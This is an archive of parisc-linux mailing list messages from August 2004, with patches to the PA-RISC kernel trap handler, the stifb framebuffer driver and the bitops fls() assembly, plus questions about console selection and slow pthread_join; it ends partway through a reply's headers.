X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21883


willy, 

Can I chedk this in? I promise I'll fix this up properly :)
Two comments and two minor code changes. I promise to fixup the panic
notifiers later, but I would like to get this into our tree so it works
for people who want a reboot or the panic code to run the notifiers for
all the other subsystems.

c.

Index: arch/parisc/kernel/traps.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/traps.c,v
retrieving revision 1.18
diff -u -p -r1.18 traps.c
--- arch/parisc/kernel/traps.c	9 Aug 2004 16:38:41 -0000	1.18
+++ arch/parisc/kernel/traps.c	17 Aug 2004 06:00:32 -0000
@@ -373,9 +373,9 @@ void transfer_pim_to_trap_frame(struct p
 
 
 /*
- * This routine handles page faults.  It determines the address,
- * and the problem, and then passes it off to one of the appropriate
- * routines.
+ * This routine is called as a last resort when everything else
+ * has gone clearly wrong. We get called for faults in kernel space,
+ * and HPMC's.
  */
 void parisc_terminate(char *msg, struct pt_regs *regs, int code, unsigned long offset)
 {
@@ -421,9 +421,16 @@ void parisc_terminate(char *msg, struct 
 	 * system will shut down immediately right here. */
 	pdc_soft_power_button(0);
 	
-	/* Gutter the processor! */
-	for(;;)
-	    ;
+	/* Call kernel panic() so reboot timeouts work properly 
+	 * FIXME: This function should be on the list of
+	 * panic notifiers, and we should call panic
+	 * directly from the location that we wish. 
+	 * e.g. We should not call panic from
+	 * parisc_terminate, but rather the other way around.
+	 * This hack works, prints the panic message twice,
+	 * and it enables reboot timers!
+	 */
+	panic(msg);
 }
 
 void handle_interruption(int code, struct pt_regs *regs)
@@ -565,9 +572,16 @@ void handle_interruption(int code, struc
 		/* Fall through */
 	case 17:
 		/* Non-access data TLB miss fault/Non-access data page fault */
-		/* TODO: Still need to add slow path emulation code here */
-		/* TODO: Understand what is meant by the TODO listed
-		         above this one. (Carlos) */
+		/* FIXME: 
+		 	 Still need to add slow path emulation code here!
+		         If the insn used a non-shadow register, then the tlb
+			 handlers could not have their side-effect (e.g. probe
+			 writing to a target register) emulated since rfir would
+			 erase the changes to said register. Instead we have to
+			 setup everything, call this function we are in, and emulate
+			 by hand. Technically we need to emulate:
+			 fdc,fdce,pdc,"fic,4f",prober,probeir,probew, probeiw
+		*/			  
 		fault_address = regs->ior;
 		fault_space = regs->isr;
 		break;
@@ -677,7 +691,7 @@ void handle_interruption(int code, struc
 	}
 
 	if (user_mode(regs)) {
-	    if ((fault_space>>SPACEID_SHIFT) != (regs->sr[7] >> SPACEID_SHIFT)) {
+	    if ((fault_space >> SPACEID_SHIFT) != (regs->sr[7] >> SPACEID_SHIFT)) {
 #ifdef PRINT_USER_FAULTS
 		if (fault_space == 0)
 			printk(KERN_DEBUG "User Fault on Kernel Space ");
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] stifb problem on a 715/100 - sti= parameter broken?
Date: Mon, 23 Aug 2004 13:37:36 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20040823123736.GA765@calypso>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623524 10770 80.91.229.3 (22 Nov 2014 02:32:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29540 invoked by uid 65534); 23 Aug 2004 12:37:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx019) with SMTP; 23 Aug 2004 14:37:37 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9C29A3BE14; Mon, 23 Aug 2004 06:37:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14194-06; Mon, 23 Aug 2004 06:37:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B867E3BE0E; Mon, 23 Aug 2004 06:36:45 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 88EE23BDFD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Aug 2004 06:36:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14194-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Aug 2004 06:36:40 -0600 (MDT)
Original-Received: from mta01-svc.ntlworld.com (mta01-svc.ntlworld.com [62.253.162.41])
	by free.linux.hp.com (Postfix) with ESMTP id C5B943BDF3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Aug 2004 06:36:39 -0600 (MDT)
Original-Received: from calypso ([81.105.248.115]) by mta01-svc.ntlworld.com
	(InterMail vM.4.01.03.37 201-229-121-137-20020806) with ESMTP
	id <20040823123559.WUBU12743.mta01-svc.ntlworld.com@calypso>
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Aug 2004 13:35:59 +0100
Original-Received: from sdb by calypso with local (Exim 3.36 #1 (Debian))
	id 1BzE4v-0000FB-00 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Aug 2004 13:37:37 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21884

Hi,

I can't get the console to work on a 715/100.  The console path is set
to "graphics.9" which refers to the built-in hardware.  There's an
HCRX-24 card attached (graphics_1), but I don't have a monitor for that.

PALO chooses sti=1, and 2.4 kernels work fine with sti=1.  If I boot
with sti=0, I last thing I see is the "If this is the last message you
see, you may need to switch your console" message, which is expected
since it's presumably using the HCRX card for output.

If I boot a 2.6 kernel, I get the "If this is the last message you see"
message regardless of what sti is set to.  Does anyone know what I'm
doing wrong?  I've searched the lists, but I haven't found anything yet
except for references to a similar problem in 2.4 in 2001-2002.

"cat /dev/fb0 > /dev/fb1" copies console text to the screen, so it seems
that the framebuffer is working correctly, but the wrong device is being
used for the console.

Thanks,
-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] sti= parameter ignored by stifb
Date: Mon, 23 Aug 2004 18:11:47 +0100
Lines: 66
Approved: news@gmane.org
Message-ID: <20040823171147.GA975@calypso>
References: <20040823123736.GA765@calypso>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623524 10772 80.91.229.3 (22 Nov 2014 02:32:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30290 invoked by uid 65534); 23 Aug 2004 17:12:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx047) with SMTP; 23 Aug 2004 19:12:53 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 81F6A3BE21; Mon, 23 Aug 2004 11:12:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17797-08; Mon, 23 Aug 2004 11:12:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C9A213BE05; Mon, 23 Aug 2004 11:12:29 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F10653BDF2
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Aug 2004 11:12:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17796-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Aug 2004 11:12:23 -0600 (MDT)
Original-Received: from mta05-svc.ntlworld.com (mta05-svc.ntlworld.com [62.253.162.45])
	by free.linux.hp.com (Postfix) with ESMTP id 0AB253BDE6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Aug 2004 11:12:22 -0600 (MDT)
Original-Received: from calypso ([81.105.248.115]) by mta05-svc.ntlworld.com
	(InterMail vM.4.01.03.37 201-229-121-137-20020806) with ESMTP
	id <20040823170835.GNTI11492.mta05-svc.ntlworld.com@calypso>
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Aug 2004 18:08:35 +0100
Original-Received: from sdb by calypso with local (Exim 3.36 #1 (Debian))
	id 1BzIMF-0000Fy-00 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Aug 2004 18:11:47 +0100
Content-Disposition: inline
In-Reply-To: <20040823123736.GA765@calypso>
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21885

On Mon, Aug 23, 2004 at 01:37:36PM +0100, Stuart Brady wrote:
> If I boot a 2.6 kernel, I get the "If this is the last message you see"
> message regardless of what sti is set to.  Does anyone know what I'm
> doing wrong?  I've searched the lists, but I haven't found anything yet
> except for references to a similar problem in 2.4 in 2001-2002.

I've had a look at the code and I think I've found the problem...
Framebuffers are added in their sti_get_rom() sequence.  In 2.4,
sti_get_rom(0) (the default sti) was included in this, which presumably
results in two framebuffers sharing the same sti struct (badness?)

In 2.6, sti_get_rom(0) is not included, and sti_get_rom(1) is the first
one to be added.  It looks as through whichever framebuffer is
initialised first gets the console.  On my machine, sti_get_rom(1)
refers to the HCRX card (sti=0), and sti_get_rom(2) (sti=1) refers to
the built-in graphics.

This patch below works for me, although there's a nasty glitch when
booting up (the screen doesn't scroll properly, and new messages are
written to the top-most line - this goes away once init starts.)
I don't know whether there's anything else that needs fixing, too.

Index: drivers/video/stifb.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/video/stifb.c,v
retrieving revision 1.7
diff -u -r1.7 stifb.c
--- drivers/video/stifb.c	29 Dec 2003 23:56:30 -0000	1.7
+++ drivers/video/stifb.c	23 Aug 2004 16:54:32 -0000
@@ -1379,6 +1379,7 @@
 stifb_init(void)
 {
 	struct sti_struct *sti;
+	struct sti_struct *def_sti;
 	int i;
 	
 	if (stifb_disabled) {
@@ -1386,9 +1387,19 @@
 		return -ENXIO;
 	}
 	
+	def_sti = sti_get_rom(0);
+	if (def_sti) {
+		for (i = 1; i < MAX_STI_ROMS; i++) {
+			sti = sti_get_rom(i);
+			if (sti == def_sti && bpp > 0)
+				stifb_force_bpp[i] = bpp;
+		}
+		stifb_init_fb(def_sti, stifb_force_bpp[i]);
+	}
+
 	for (i = 1; i < MAX_STI_ROMS; i++) {
 		sti = sti_get_rom(i);
-		if (!sti)
+		if (!sti || sti==def_sti)
 			break;
 		if (bpp > 0)
 			stifb_force_bpp[i] = bpp;
-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] bitops.h: fls(unsigned long )
Date: Mon, 23 Aug 2004 18:50:28 +0000
Lines: 59
Approved: news@gmane.org
Message-ID: <412A3C74.9000903@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623525 10775 80.91.229.3 (22 Nov 2014 02:32:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 3170 invoked by uid 65534); 23 Aug 2004 18:51:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx003) with SMTP; 23 Aug 2004 20:51:36 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B8A383BE47; Mon, 23 Aug 2004 12:51:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18900-10; Mon, 23 Aug 2004 12:51:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8F97A3BE37; Mon, 23 Aug 2004 12:49:42 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2BE1D3BE2F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Aug 2004 12:49:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 18920-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Aug 2004 12:49:38 -0600 (MDT)
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by free.linux.hp.com (Postfix) with ESMTP id 60F2C3BDE6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Aug 2004 12:49:37 -0600 (MDT)
Original-Received: from [83.134.226.91] (helo=[83.134.226.91])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BzJst-0007Sy-Qe; Mon, 23 Aug 2004 20:49:35 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.2) Gecko/20040820 Debian/1.7.2-4
X-Accept-Language: en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21886

Hi all,

As promised (a year ago now; shame on me :( ), here is a first draft of fls(unsigned long) thanks to help of "Michael S. Zick":
--- linux-2.6.8.1-pa7/include/asm-parisc/bitops.h.Orig  2004-08-15 20:27:42.000000000 +0200
+++ linux-2.6.8.1-pa7/include/asm-parisc/bitops.h       2004-08-23 17:09:12.190000000 +0200
@@ -273,31 +273,38 @@
   * fls(0) = 0, fls(1) = 1, fls(0x80000000) = 32.
   */

-static __inline__ int fls(int x)
+static __inline__ int fls(unsigned long x)
  {
-       int ret;
-       if (!x)
-               return 0;
+       unsigned long ret;

         __asm__(
-       "       ldi             1,%1\n"
-       "       extru,<>        %0,15,16,%%r0\n"
-       "       zdep,TR         %0,15,16,%0\n"          /* xxxx0000 */
-       "       addi            16,%1,%1\n"
-       "       extru,<>        %0,7,8,%%r0\n"
-       "       zdep,TR         %0,23,24,%0\n"          /* xx000000 */
-       "       addi            8,%1,%1\n"
-       "       extru,<>        %0,3,4,%%r0\n"
-       "       zdep,TR         %0,27,28,%0\n"          /* x0000000 */
-       "       addi            4,%1,%1\n"
-       "       extru,<>        %0,1,2,%%r0\n"
-       "       zdep,TR         %0,29,30,%0\n"          /* y0000000 (y&3 = 0) */
-       "       addi            2,%1,%1\n"
-       "       extru,=         %0,0,1,%%r0\n"
-       "       addi            1,%1,%1\n"              /* if y & 8, add 1 */
+#ifdef __LP64__
+               " ldi           64,%1\n"
+               " extrd,u,*=    %0,31,32,%%r0\n"
+               " extrd,u,*TR   %0,31,32,%0\n"  /* move top 32-bits down */
+               " addi          -32,%1,%1\n"
+#else
+               " ldi           32,%1\n"
+#endif
+               " extru,=       %0,15,16,%%r0\n"
+               " extru,TR      %0,15,16,%0\n"  /* xxxx0000 -> 0000xxxx */
+               " addi          -16,%1,%1\n"
+               " extru,=       %0,23,8,%%r0\n"
+               " extru,TR      %0,23,8,%0\n"   /* 0000xx00 -> 000000xx */
+               " addi          -8,%1,%1\n"
+               " extru,=       %0,27,4,%%r0\n"
+               " extru,TR      %0,27,4,%0\n"   /* 000000x0 -> 0000000x */
+               " addi          -4,%1,%1\n"
+               " extru,=       %0,29,2,%%r0\n"
+               " extru,TR      %0,29,2,%0\n"   /* 0000000y, 1100b -> 0011b */
+               " addi          -2,%1,%1\n"
+               " extru,=       %0,30,1,%%r0\n"
+               " extru,TR      %0,30,1,%0\n"   /* 0000000z, 10b -> 01b */
+               " addi          -1,%1,%1\n"
+               " extru,<>      %0,31,1,%%r0\n" /* check last bit */
+               " addi          -1,%1,%1\n"
                 : "+r" (x), "=r" (ret) );

From - Thu Nov 08 21:32:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pthread_join takes forever?
Date: Mon, 23 Aug 2004 14:49:54 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20040823184954.GK5207@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623525 10779 80.91.229.3 (22 Nov 2014 02:32:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21407 invoked by uid 65534); 23 Aug 2004 18:51:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx014) with SMTP; 23 Aug 2004 20:51:49 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4D0573BE43; Mon, 23 Aug 2004 12:51:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19081-08; Mon, 23 Aug 2004 12:51:35 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E6FD83BE45; Mon, 23 Aug 2004 12:50:04 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 22F503BE3C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Aug 2004 12:50:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19081-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Aug 2004 12:49:59 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 381BB3BE44
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Aug 2004 12:49:56 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1BzJtC-00087w-00 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Aug 2004 14:49:54 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (82% Sync Ratio [========..])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21887


pa,

I've noticed lately that pthread_join takes forever waiting for a
process to pass away. This times out certain tests in glibc, I've had to
increase their timeouts.

Anyone have any thoughts?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP kernels for an HP J5600
Date: Mon, 23 Aug 2004 23:01:11 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <20040824050111.GC790@colo.lackof.org>
References: <412A1ACE.3050705@kepier.clara.net> <412A21B9.8070008@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623525 10783 80.91.229.3 (22 Nov 2014 02:32:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 20476 invoked by uid 65534); 24 Aug 2004 05:02:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx007) with SMTP; 24 Aug 2004 07:02:01 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E7A4F3BDFF; Mon, 23 Aug 2004 23:01:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
